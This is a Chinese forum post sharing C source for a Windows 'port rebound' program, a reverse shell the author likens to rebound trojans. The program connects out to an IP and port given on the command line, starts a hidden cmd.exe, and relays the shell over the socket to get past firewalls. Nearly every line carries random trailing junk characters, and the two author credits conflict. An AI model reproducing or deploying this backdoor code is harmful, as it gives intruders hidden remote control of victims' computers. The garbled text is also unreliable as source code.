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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Nq"/:3@4  
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/* ============================== N?ky2wG  
Rebound port in Windows NT q;InFV3rv  
By wind,2006/7 wBA[L}  
===============================*/ vn KKK.E  
#include 3QL'uk  
#include PGOi#x  
)CSb\  
#pragma comment(lib,"wsock32.lib") Lg sQz(-  
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void OutputShell(); *U)!9DvA  
SOCKET sClient; h7wm xa;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v;80RjPy>  
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void main(int argc,char **argv) Wm7Dy7#l  
{ &w- QMj M>  
WSADATA stWsaData; uF+if`?  
int nRet; )?:V5UO\  
SOCKADDR_IN stSaiClient,stSaiServer; 7eqax33f  
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if(argc != 3) |l 03,dOF  
{ Q+U}    
printf("Useage:\n\rRebound DestIP DestPort\n"); %mAgE\y25  
return; l+*^P'0u  
} u0Fu_Rtr  
pBG(%3PpW  
WSAStartup(MAKEWORD(2,2),&stWsaData); `sAz1/N  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _}vD?/$L  
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stSaiClient.sin_family = AF_INET; 9P#E^;L  
stSaiClient.sin_port = htons(0); _iO,GT=J-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =P<gZ-Cm  
Wt"fn&R}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :CNHN2 J  
{ a<B[ ~J4i  
printf("Bind Socket Failed!\n"); X@*$3z#Z  
return; 5P ,{h  
} Z}5 ;K"T/  
.:B] a7b  
stSaiServer.sin_family = AF_INET; ?J<Y]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \`Db|D?oy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?a+tL'D[  
&~29%Ns  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *Sm$FMWQ  
{ FYFP 6ti  
printf("Connect Error!"); \H!E CTI  
return; Bmm#5X@*  
} >%h_ R:  
OutputShell(); %fGS< W;  
} #joGIw  
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void OutputShell() CLg;  
{ @kK${  
char szBuff[1024]; vd c k  
SECURITY_ATTRIBUTES stSecurityAttributes; 3)^-A4~E  
OSVERSIONINFO stOsversionInfo;  {.GC7dx  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )@DH&  
STARTUPINFO stStartupInfo; rDX_$,3L  
char *szShell; Z$ {I 4a  
PROCESS_INFORMATION stProcessInformation; N 3 i ,_  
unsigned long lBytesRead; TL ;2,@H`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4&~ft  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?"]fGp6y  
stSecurityAttributes.lpSecurityDescriptor = 0; E)DdiB'Rh  
stSecurityAttributes.bInheritHandle = TRUE; zRbooo{N  
JV=d!Gi[C  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); //2G5F;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -x=abyD  
3@kiUbq7Eu  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *A':^vgk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7afD^H%  
stStartupInfo.wShowWindow = SW_HIDE; zM%ILv4  
stStartupInfo.hStdInput = hReadPipe; (9]`3^_,J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WHk/Rg%<  
!2s< v  
GetVersionEx(&stOsversionInfo); /-Y*V*E  
??5qR8n.  
switch(stOsversionInfo.dwPlatformId) dPwe.:  
{ zA=gDuy3@  
case 1: )T/"QF}<T  
szShell = "command.com"; `X'-4/Y  
break; )eop:!m  
default: r+-KrO'  
szShell = "cmd.exe"; R| [mp%Q  
break; qMD6LWJ  
} +h_'hz&HlS  
p1 > D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t33/QW r  
'L4@|c~x  
send(sClient,szMsg,77,0); )F4H'  
while(1) [0U!Y/?6lA  
{ L\|p8jJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r\Nf309~  
if(lBytesRead) AD^9?Z  
{ ESp)%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e@"1W  
send(sClient,szBuff,lBytesRead,0); 6*9hAnH  
} RL7OFfMe  
else ]BGWJA5  
{ A ^@:Ps  
lBytesRead=recv(sClient,szBuff,1024,0); 8gwJ%"-K  
if(lBytesRead<=0) break; hn\<'|n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L"6qS3[=  
} OBaG'lrZy  
} (~}IoQp>  
T8+A`z=tSb  
return; Fw? ;Y%  
}
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